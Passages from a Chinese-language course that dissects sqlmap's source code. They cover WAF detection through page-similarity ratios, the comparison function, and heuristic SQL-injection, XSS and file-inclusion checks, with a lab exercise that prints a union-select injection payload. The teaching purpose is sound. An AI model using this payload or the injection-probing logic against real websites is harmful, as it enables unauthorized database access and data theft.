# 循环检查目标是否有注入点标记参数。
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
continue
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
if kb.customInjectionMark in _:
# ...
# 找到了注入点标记参数就将它存储在字典中,供后面测试使用。
conf.paramDict[place]["%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts))))
# 检查是否有cookie参数若有就将它存储起来供后面测试使用。
if conf.cookie:
conf.parameters[PLACE.COOKIE] = conf.cookie
paramDict = paramToDict(PLACE.COOKIE, conf.cookie)
if paramDict:
conf.paramDict[PLACE.COOKIE] = paramDict
testableParameters = True
# ...
# 检查是否有header参数若有就将它存储起来供后面测试使用。
if conf.httpHeaders:
for httpHeader, headerValue in list(conf.httpHeaders):
# Url encoding of the header values should be avoided
# Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value
if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)
# ...
# 检查csrf token参数。
#当csrf token参数存在。
if conf.csrfToken:
# 检查get、post、cookie、header values参数中是否有anti-csrf token参数。anti-csrf token是一个用来防止跨站请求伪造设置的参数。
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
errMsg += "found in provided GET, POST, Cookie or header values"
# 如果这些参数中都没有anti-csrf token参数那么系统会报错。
raise SqlmapGenericException(errMsg)
# 当csrf token参数不存在。
else:
for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
if conf.csrfToken:
break
# 判断注入点标记的参数是否需要csrf token信息。
for parameter in conf.paramDict.get(place, {}):
if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter)
message += "Do you want sqlmap to automatically update it in further requests? [y/N] "
if readInput(message, default='N', boolean=True):
class _(six.text_type):
pass
# 设置csrf token参数。
conf.csrfToken = _(re.escape(getUnicode(parameter)))
conf.csrfToken._original = getUnicode(parameter)
break
检测waf
在完成上述步骤之后sqlmap就完成了针对注入测试目标的参数配置工作。配置完参数后sqlmap就可以开始连通性的检测了通过这一步来判断目标是否可以访问。如果该目标无法连接上那么sqlmap就会跳过对当前目标的检测如果可以连接到目标那么sqlmap就会开始判断该目标是否有waf保护。这是因为waf的存在会对sqlmap的SQL注入测试有很大的影响所以sqlmap会在注入测试前判断waf是否存在。
# 逐个目标判断。
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
# ...
setupTargetEnv()
# 如果连接不上,跳过当前测试目标。
if not checkConnection(suppressOutput=conf.forms):
continue
# ...
# 如果可以连接上判断目标是否存在waf。
checkWaf()
进入到checkWaf函数之后大家可以结合我写的注释对这个函数进行理解和学习。我们会发现程序首先会从准备好的文件中获取容易引起waf响应的代码片段组然后结合之前设置的注入位置信息将它组合成一个payload发送给目标。这样就可以获取到该payload响应的值我们可以将这个值和正常的响应做比较计算出页面相似度的值。
# 判断waf是否存在。
def checkWaf():
# ...
# 默认设置为没有waf并且配置容易引起waf拦截的payload。
retVal = False
payload = "%d %s" % (randomInt(), IPS_WAF_CHECK_PAYLOAD)
# 根据注入点的位置决定payload插入的位置然后发送测试请求获取响应的返回值。
if PLACE.URI in conf.parameters:
place = PLACE.POST
value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
else:
place = PLACE.GET
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
# ...
try:
# 判断retVal即页面相似度和预设的阈值大小比较关系。
retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
except SqlmapConnectionException:
retVal = True
finally:
kb.matchRatio = None
# ...
if retVal:
# ...
message = "are you sure that you want to "
message += "continue with further target testing? [Y/n] "
# ...
return retVal
通过比较页面相似度的值和设定的阈值sqlmap可以判定目标是否被waf保护如果小于设定的阈值则代表这两个页面的内容差别很大sqlmap就会认定目标被waf保护否则就会认为目标没有waf保护
这里我们看到了另外一个非常重要的函数Request.queryPage和一个非常重要的概念页面相似度接下来我们就来一起学习一下什么是页面相似度而关于Request.queryPage的功能和页面相似度算法我们会在下一讲详细学习
页面相似度
页面相似度简单来讲就是两个页面内容相似程度的衡量系数在sqlmap中计算页面相似度主体使用的是difflib模块中的SequenceMatcher功能该功能用于比较可哈希类型的序列的相似程度可哈希类型序列指的是不可变的数据结构例如字符串元组等
这里我们用一个轻松的小例子来加深你对页面相似度的理解
import difflib
a='abcd'
b='ab123'
seq=difflib.SequenceMatcher(None,a,b)
d=seq.ratio()
print(d)
# d=0.44444444...
在这个例子里我们用SequenceMatcher函数计算了字符串a和字符串b的相似度计算的结果为0.4444…”。
这个值是用2_M/T这个表达式计算出来的要想得出结果我们需要获得变量M和T的值其中M为a和b相同部分的长度在这个例子中因为a和b相同部分为ab所以M的 值就是2T则是a和b的长度之和所以T的值为9因此计算结果为2_29=0.4444…”。
相信通过这个例子的学习你已经可以掌握SequenceMatcher函数的用法下面让我们趁热打铁进入到实战训练中来巩固我们对页面相似度的理解
实战训练
通过刚才的学习我们知道sqlmap会运用页面相似度来判断waf存在为了让你有更加直观的感受我们可以打开谜团中的安全狗4.0靶场进行实战测试
打开靶场后我们访问靶场80端口下的inject.php路径这是一个有waf保护的网站我们需要通过get方式上传一个名为id的参数
我们首先将id参数的值设为1正常获得的响应内容如下
随后我们将id的参数值设为容易被waf拦截的payload
*1' and 1=2 union select database(),2 --+*
这样它就会被waf拦截
我们将这两个响应的内容进行记录然后计算它们的页面相似度
# 正常响应
talent&nbspsec<br /><br/>SELECT first_name,last_name FROM users WHERE user_id = '1';
# waf拦截的响应
您的请求带有不合法参数,已被网站管理员设置拦截!可能原因:您提交的内容包含危险的攻击请求。
计算发现他们的页面相似度为零这符合我们的预期即存在waf的拦截那么使用payload前后的页面相似度就会较低。
总结
这节课我们学习了sqlmap在工作流程中调用的一个重要的函数start了解了它的功能和对应的实现方法。
秉持着“知其然还要知其所以然”的理念我们除了要知道sqlmap的使用方法更要了解它的设计思想和工作原理。我们分析了它的源代码了解到它具有很多功能这些功能包括循环处理针对目标配置、测试网络连通性、配置HTTP请求信息、以及判断waf是否存在。
由于判断waf是否存在较难理解并且存在一个较为生僻的概念页面相似度所以我给你介绍了sqlmap是如何判断waf是否存在的。经过分析我们发现sqlmap会使用易于引起waf拦截的payload来获取响应并且将它和不使用payload的正常响应进行比较通过它们的相似度来判断waf存在。如果页面相似度高就认为目标没有waf的保护否则我们就认为有waf的保护。最后我们在实战中验证了这个想法证实了sqlmap通过页面相似度判断waf存在的可行性。
截止到目前你已经了解了sqlmap的初始化流程和针对每个测试目标的配置和检测步骤下节课我们将会更加深入地剖析sqlmap的页面相似度算法并且会正式为你讲解SQL注入测试之前的必经步骤启发式注入测试。
思考
页面相似度判断的阈值应该与哪些因素相关呢?
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,280 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
16 自动化注入神器sqlmap的核心实现拆解
你好,我是王昊天。
在上节课我们学习了sqlmap中一个非常重要的函数——start函数。我们了解到它既可以为每个目标配置请求参数也会对目标进行一些必要的检测例如判断目标是否存在waf的保护等。
在讲到如何检测waf时我们遇到了一个比较陌生的概念页面相似度。上节课我给出了一个简单的示例来帮助你理解它的含义但是并没有告诉你页面相似度是如何计算出来的。相信经过这节课的学习你就可以解决这个问题。
再看checkWaf函数
为了研究页面相似度算法我们首先需要找到计算页面相似度的代码。回顾一下上节课的内容我们在checkwaf函数中学习了页面相似度的概念但是并未深入研究这一点。现在让我们回到sqlmap的checkWaf函数着重观察下面这段代码。在这段代码中系统会判断Request.queryPage函数的返回值是否小于sqlmap设定的默认页面相似度阈值IPS_WAF_CHECK_RATIO如果小于那么就认为存在waf否则就会认为不存在waf。我们可以从lib.core.settings.py中得出该阈值的大小为 0.5。
try:
retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
经过上述分析我们可以知道函数Request.queryPage的返回值就是页面相似度所以我们只需要对它进行分析就可以知道页面相似度的算法了在进入到该函数之前我们首先需要关注传入该函数的参数理解这些参数会帮助你理解sqlmap页面相似度算法的实际运算过程
#传入到该函数的参数
place=place
value=value
getRatioValue=True
noteResponseTime=False
silent=True
raise404=False
disableTampering=True
Request.queryPage函数
列举完传入到Request.queryPage函数的参数后我们可以专心地进入到函数内部进行分析
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
# ...
# 对参数进行定义
get = None
post = None
cookie = None
ua = None
referer = None
host = None
page = None
pageLength = None
uri = None
code = None
# ...
payload = agent.extractPayload(value)
# 请求参数的配置。
if PLACE.GET in conf.parameters:
get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
# ...
# 用配置好的请求参数获取页面信息。
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
# ...
# 由于传入的参数中getRatioValue为真进入到if条件中它会返回两个comparsion的结果所以返回的类型是这两个结果构成的元组。
if getRatioValue:
return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength)
else:
return comparison(page, headers, code, getRatioValue, pageLength
这里我将queryPage中关键部分的代码展示出来你可以结合代码中的注释学习和理解该函数首先会定义需要的参数然后用定义好的参数来配置请求信息
配置好请求信息之后我们就可以用Connect.getPage函数获得目标页面的内容这样我们就获得了在计算页面相似度中需要的第一个参数即用易于引起waf拦截的payload获取到的页面响应内容
由于传入的参数getRatioValue的值为True所以接下来函数会进入到if条件中运行我们看到系统会返回两个comparison的运行结果所以这里queryPage的返回的是一个元组类型(comparison1,comparison2)。
通过公式retVal=request.querypage()[1] or 0 < IPS_WAF_CHECK_RATIO我们知道这里retVal的值就等于comparison2 or 0 < 0.5你需要特别注意这里的comparison2 or 0这是因为comparison函数有可能会返回None这时候就会将0作为retVal的值
Comparison函数
从retVal的结果可以发现comparison2的数值很重要下面让我们重点观察comparison2它的值为comparison(page, headers, code, getRatioValue=True, pageLength=pageLength)那么接下来我们进入到comparison函数中。
def comparison(page, headers, code=None, getRatioValue=False, pageLength=None):
_ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue)
return _
可以看到该函数将_comparison函数的运行结果作为_adjust函数的参数然后返回_adjust函数的运行结果_
那么下面我们先进入到_comparison函数中看看它在不同情况下的返回值是什么
def _comparison(page, headers, code, getRatioValue, pageLength):
# ...
# 当 page 和 pagelength 信息都没有时返回None。
if page is None and pageLength is None:
return None
# ...
# 如果使用者利用了-string/-not-string/-regexp等参数配置了特征文本那么程序就会使用用户指定的特征文本和获取到的页面信息作对比作为返回结果这时返回的结果为True or False对应为1或者0。
if any((conf.string, conf.notString, conf.regexp)):
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
if conf.string:
return conf.string in rawResponse
if conf.notString:
if conf.notString in rawResponse:
return False
# ...
if conf.regexp:
return re.search(conf.regexp, rawResponse, re.I | re.M) is not None
# 如果使用者配置了code信息那么就会判断设置的code是否和返回的code一致若一致就返回1否则返回0。
if conf.code:
return conf.code == code
从上面的代码中我们可以知道如果使用者配置了响应的参数那么_comparison函数就会将该参数和获取到的实际响应内容进行比较直接返回比较的结果
当用户没有配置响应参数时sqlmap就会创建一个比较函数与页面响应进行比较计算出页面相似比你可能会觉得seqMatcher有些眼熟事实上它就是我们的老熟人difflib.SequenceMatcher()这个函数在介绍sqlmap时有提到
seqMatcher = threadData.seqMatcher
# 将之前测试目标的连通性时获取到的标准响应内容放入到比较函数中这样只需要再把使用payload之后获取到的响应放入其中就可以实现页面相似度的计算了。
seqMatcher.set_seq1(kb.pageTemplate)
# 当响应为系统的报错信息后这样比较页面相似度就没有意义所以返回None。
if page:
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
if not (wasLastResponseHTTPError() and getLastRequestHTTPError() in (conf.ignoreCode or [])):
return None
# 当配置中没有设置空连接时,需要删除页面中的动态内容,否则会影响页面相似度的计算。
if not kb.nullConnection:
page = removeDynamicContent(page)
seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate))
if not pageLength:
pageLength = len(page)
# 当配置中设置空连接后,系统就不会获得页面的响应内容,而仅仅获得响应的长度,这时候就需要根据响应长度来计算页面相似度。
if kb.nullConnection and pageLength:
if not seqMatcher.a:
errMsg = "problem occurred while retrieving original page content "
errMsg += "which prevents sqlmap from continuation. Please rerun, "
errMsg += "and if the problem persists turn off any optimization switches"
raise SqlmapNoneDataException(errMsg)
# 此处的seqMatcher.a就是之前放入到比较函数中的标准页面响应。
ratio = 1. * pageLength / len(seqMatcher.a)
if ratio > 1.:
ratio = 1. / ratio
# 当不配置空链接时就需要对响应的内容进行比较需要考虑响应页面的格式不一样pdf/html为了防止这个情况导致Unicode编码比较失败我们将它们都转化为Unicode格式。
else:
if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type):
page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type):
seqMatcher.a = getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
# 转化之后当使用payload获取到的响应和标准响应有一个不存在就无法比较页面相似度返回None。
if any(_ is None for _ in (page, seqMatcher.a)):
return None
# 当它们都存在且相等时内容完全一致页面相似度为1。
elif seqMatcher.a and page and seqMatcher.a == page:
ratio = 1.
# 当无法根据页面内容来计算页面相似度时,会选择用其他方法计算页面相似度。
elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
if not page or not seqMatcher.a:
return float(seqMatcher.a == page)
else:
ratio = 1. * len(seqMatcher.a) / len(page)
if ratio > 1:
ratio = 1. / ratio
else:
seq1, seq2 = None, None
# 当配置中设置根据页面的标题比较时,会进入到下面的语句中。
if conf.titles:
seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
else:
# 当配置中设置有仅比较文本内容时,就会利用`getFilteredPageContent`来提取其中的文本信息。
seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
# 当在上述操作中获得的seq1或者seq2的值为None时就无法判断页面相似度返回 None。
if seq1 is None or seq2 is None:
return None
在不同的情况下seqMatcher的结果有不同的计算方式我们可以结合代码中的注释进行深入的了解。
当我们需要比较两个页面中的内容来计算页面相似度时我们需要删除页面中的REFLECTED_VALUE_MARKER防止它干扰计算。想要知道REFLECTED_VALUE_MARKER是什么我们需要回顾下之前获取页面响应内容的参数配置。
在一些情况下比如当页面将输入的参数显示在页面上时payload会回显在页面上。这些payload显然会影响我们计算页面相似度。那么sqlmap是如何解决这个问题的呢
在之前queryPage的函数中参数removeReflection的值被设置为True所以sqlmap在获取页面的时候会将payload的值替换为REFLECTED_VALUE_MARKER的值。下面这段代码会去除页面内容中的REFLECTED_VALUE_MARKER防止它的存在影响页面相似度的判断。
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
# ...
# 将它们计算出一个哈希元组,并在缓存中查找是否存在这个元组,如果存在则无需再次计算,否则需要计算出一个页面相似度。计算出之后,将该数据存入到缓存中。
else:
key = (hash(seq1), hash(seq2))
seqMatcher.set_seq1(seq1)
seqMatcher.set_seq2(seq2)
if key in kb.cache.comparison:
ratio = kb.cache.comparison[key]
else:
ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3)
if key:
kb.cache.comparison[key] = ratio
# ...
# 最后会返回页面相似度的值。
if getRatioValue:
return ratio
这样我们就获得了_comparison函数的返回值也就是传入到adjust函数中的参数的值。
下面让我们一起进入到adjust函数内对获取到的页面相似度做一些处理获取最终的页面相似度的值。我们可以将它简单理解为如果sqlmap携带了攻击的载荷但是响应内容和没有攻击载荷的sqlmap是相同的就可以判定出目标应用不存在waf。
def _adjust(condition, getRatioValue):
if not any((conf.string, conf.notString, conf.regexp, conf.code)):
retVal = not condition if kb.negativeLogic and condition is not None and not getRatioValue else condition
else:
retVal = condition if not getRatioValue else (MAX_RATIO if condition else MIN_RATIO)
return retVal
这样checkwaf函数就执行完成了让我们再次回到start函数内部继续学习它的运行流程。我们可以发现检测完waf之后系统会判断是否配置了空连接。
如果配置了空连接,在与标准响应进行比较的环节,就不再需要获得完整的页面响应内容,仅仅需要获得页面响应内容的长度,将它的长度和标准响应页面的长度进行比较,就能获得页面相似度。
那么在判断页面相似度的时候,就不需要获得完整的页面的响应内容和标准响应进行比较,而仅仅需要获得页面响应内容的长度,将它的长度和标准响应页面的长度进行比较即可获得页面相似度。
if conf.nullConnection:
checkNullConnection()
做完上述工作后sqlmap就进入到了下一个阶段即注入点检测阶段。这部分的内容我们会在下一节课中学习。
总结
这节课我们详细学习了sqlmap中的页面相似度算法。
我们首先回顾了之前学过的checkwaf函数通过对这个函数进行分析我们找到了计算页面相似度的函数Request.querypage。
为了更好地理解它我们进入到函数内部进行观察。经过对它代码的分析我们知道它首先对测试目标做了请求的参数的配置然后给目标发送请求信息在获取到页面的内容之后将内容传递给comparison函数进行比较。
根据用户配置的不同情况comparison函数会采用不同的页面相似度算法来进行计算。值得一提的是该函数会在比较两个页面的内容时删掉其中的payload内容避免存在影响计算结果的因素。
截止目前你已经掌握了sqlmap对waf检测的方法原理下节课我们将学习如何对目标进行自动化的多种SQL注入攻击。
思考
sqlmap的页面相似度算法有什么值得改进的地方吗
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,379 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
17 自动化注入神器sqlmap的核心功能解析
你好,我是王昊天。
在上节课中我们重点学习了sqlmap中一个非常重要的算法——页面相似度算法。相信你对页面相似度这个概念会有更加清晰的认知不但知道它是什么含义而且知道它是如何计算出来的。解决了这个大难点之后我在上节课的结尾提出了一个空连接检测功能有了它sqlmap就可以大大提高执行效率。完成了检测sqlmap就进入到实际的SQL注入测试阶段了。
在SQL注入测试阶段系统首先会检测有哪些注入点然后对这些注入点逐一发送合适的payload检测注入是否成功。如果注入成功那么系统会将注入点存储下来最后对它们进行输出。
这节课我们就来正式学习sqlmap的SQL注入测试过程。
注入点检测
在SQL正式注入测试之前sqlmap会对每个目标的参数进行过滤。将那些非动态的不存在注入可能的参数剔除掉留下可能的注入点。这样sqlmap仅需要对这些可能的注入点进行正式的注入测试即可。
动态参数检测
我们首先来看sqlmap是如何检测动态参数的。这部分代码依旧在start函数中紧接着空连接检测出现。
# sqlmap首先对所有可用于注入测试的参数进行简单的优先级排序。
parameters = list(conf.parameters.keys())
# 定义测试列表的顺序。(从后到前)
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)
# 对测试参数排好序之后,系统开始对参数进行过滤操作。
proceed = True
for place in parameters:
skip = # ...
if skip:
continue
if place not in conf.paramDict:
continue
paramDict = conf.paramDict[place]
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
# ...
for parameter, value in paramDict.items():
if not proceed:
break
# 经过过滤,将该参数加入到测试过的参数中,防止重复测试。
kb.testedParams.add(paramKey)
我们可以结合代码中的注释来理解参数的过滤。首先sqlmap会对待测参数进行一个优先级排序。在排序完成之后系统会根据用户的配置信息对这些参数进行过滤操作。这里我举一个例子来让你更加容易理解这一步骤。例如当用户配置的检测level小于2时那么系统就会跳过对cookie参数的检测过程。
过滤完成之后我们就会进入到你最熟悉的一步——SQL注入测试过程。让我们结合代码分析sqlmap是如何进行SQL注入测试的。
if testSqlInj:
# 开始注入测试
try:
# ...
# 进入启发式注入测试。
check = heuristicCheckSqlInjection(place, parameter)
# 当启发式注入测试失败,就跳过该参数。
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
# ...
continue
# ...
# 通过启发式注入测试后就会进入到SQL注入测试阶段。
injection = checkSqlInjection(place, parameter, value)
启发式注入测试
如果一个参数被检测为注入点,那我们就可以对它进行注入测试。为了提高注入测试的效率,系统会过滤一些注入成功率较低的注入点,这需要首先对它进行一个启发式注入测试。下面让我们结合代码,对启发式注入测试有个更具体的理解。
def heuristicCheckSqlInjection(place, parameter):
# 如果配置中设置了跳过启发式注入测试就返回结果None当使用者没有特殊配置conf.start这个配置项为false就会跳过该参数的注入检测。
if conf.skipHeuristics:
return None
# 初始化参数并根据用户设置的偏好制作payload。
origValue = conf.paramDict[place][parameter]
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
prefix = ""
suffix = ""
randStr = ""
if conf.prefix or conf.suffix:
if conf.prefix:
prefix = conf.prefix
if conf.suffix:
suffix = conf.suffix
while randStr.count('\'') != 1 or randStr.count('\"') != 1:
randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)
kb.heuristicMode = True
payload = "%s%s%s" % (prefix, randStr, suffix)
payload = agent.payload(place, parameter, newValue=payload)
# 利用payload 请求目标页面的响应内容。
page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
kb.heuristicPage = page
kb.heuristicMode = False
系统首先会判断用户是否设置跳过启发式注入测试如果设置了则返回None。如果没有设置那么系统就会获取到用户设置的偏好prefix以及suffix然后据此构造出合适的payload并发送给目标获取到响应内容page。
# 检测请求目标的响应中是否有数据库错误。
parseFilePaths(page)
result = wasLastResponseDBMSError()
infoMsg = "heuristic (basic) test shows that %sparameter '%s' might " % ("%s " % paramType if paramType != parameter else "", parameter)
# 检测page中是否有。
def _(page):
return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS)
casting = _(page) and not _(kb.originalPage)
系统会根据获取到的内容判断其中的报错信息。其中如果为数据库报错信息那么result的值为True。如果是设置在
sqlmap/lib/core/settings.py文件中FORMAT_EXCEPTION_SRTINGS配置项中定义的类型转化错误信息那么就会用casting来储存错误内容。
# ...
# 当存在定义的问题时,发出报错信息。
if casting:
errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
platform = conf.url.split('.')[-1].lower()
if platform == WEB_PLATFORM.ASP:
errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter)
elif platform == WEB_PLATFORM.ASPX:
errMsg += "int.TryParse(Request.QueryString[\"%s\"], out %s)" % (parameter, parameter)
elif platform == WEB_PLATFORM.JSP:
errMsg += "%s=Integer.parseInt(request.getParameter(\"%s\"))" % (parameter, parameter)
else:
errMsg += "$%s=intval($_REQUEST[\"%s\"])" % (parameter, parameter)
errMsg += "') at the back-end web application"
logger.error(errMsg)
if kb.ignoreCasted is None:
message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]")
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)
# 当数据库报错时,判断出注入漏洞很可能存在。
elif result:
infoMsg += "be injectable"
if Backend.getErrorParsedDBMSes():
infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()
logger.info(infoMsg)
# 否则判定为不存在注入漏洞。
else:
infoMsg += "not be injectable"
logger.warn(infoMsg)
kb.heuristicMode = True
kb.disableHtmlDecoding = True
最后函数会根据casting以及result中的内容进行输出。我在这里画了一个它的流程图帮助你对它的作用进行理解。
图中启发式注入结果分为三种,其中阳性代表该参数大概率可以注入,类型转换和阴性都代表了该参数大概率不可以注入。我们会发现,想要判断是否可以注入,只需要判断有无数据库报错信息就可以了,有的话就认为该参数可注入,否则就认为不可注入。
除了进行启发式SQL注入检测之外sqlmap还会做一些不属于它的工作包括进行简单的xss检测和文件包含检测。
# 更换payload检测xss以及文件包含。
randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
payload = "%s%s%s" % (prefix, "'%s" % value, suffix)
payload = agent.payload(place, parameter, newValue=payload)
page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
# 进行xss检测。
if value.upper() in (page or "").upper():
infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg)
if conf.beep:
beep()
# 进行文件包含检测。
for match in re.finditer(FI_ERROR_REGEX, page or ""):
if randStr1.lower() in match.group(0).lower():
infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg)
if conf.beep:
beep()
break
kb.disableHtmlDecoding = False
kb.heuristicMode = False
return kb.heuristicTest
最终的检测结果都会在全局变量kb中保存起来这个全局变量我们在之前的课程中学习过。到此启发式注入检测的函数已经完成接下来会进入真正的SQL注入检测这是sqlmap最核心的功能没有之一
checkSqlInjection函数
sqlmap对启发式注入的检测结果进行简单地判断后程序就会进入sqlmap最核心的函数checkSqlInjection中。这个函数用于实现注入检测的核心功能包括布尔注入、联合注入、报错注入、堆注入等检测。
下面让我们观察它的代码来理解这个注入检测功能。
def checkSqlInjection(place, parameter, value):
# 根据参数的类型选择 boundary 。
injection = InjectionDict()
threadData = getCurrentThreadData()
if isDigit(value):
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.intBoundaries
elif value.isalpha():
kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.alphaBoundaries
else:
boundaries = conf.boundaries
这个函数首先会判断参数的类型然后根据参数的不同类型设置合适的闭合方式。解决完寻找注入点以及闭合参数这个问题后下面让我们进入到payload的选择中。
我们知道payload的选择和数据库的类型有很大的关系所以sqlmap在构造payload前会先尝试探测目标数据库的类型。
# 判断是否配置数据库类型。
if conf.dbms is None:
# 探测目标数据库类型。
if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
kb.heuristicDbms = heuristicCheckDbms(injection)
# 根据探测结果输出提示信息。
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
如果用户在配置中指定了目标数据库的类型那么就无需探测用指定类型即可。否则需要用heuristicCheckDbms(injection)函数来判断目标数据库类型。它的判断方法是发送一些payload给测试目标然后根据获得的响应判断数据库的类型。
判断出目标数据库的类型之后系统会根据获得的数据库类型以及用户的配置挑选适合的测试用例然后根据这些测试用例以及之前配置的boundary构造适合的payload。
# 配置联合查询的信息。
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
if "[CHAR]" in title:
if conf.uChar is None:
continue
else:
title = title.replace("[CHAR]", conf.uChar)
# ...
# 用户指定了测试方法的配置。
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
debugMsg = "skipping test '%s' because user " % title
debugMsg += "specified testing of only "
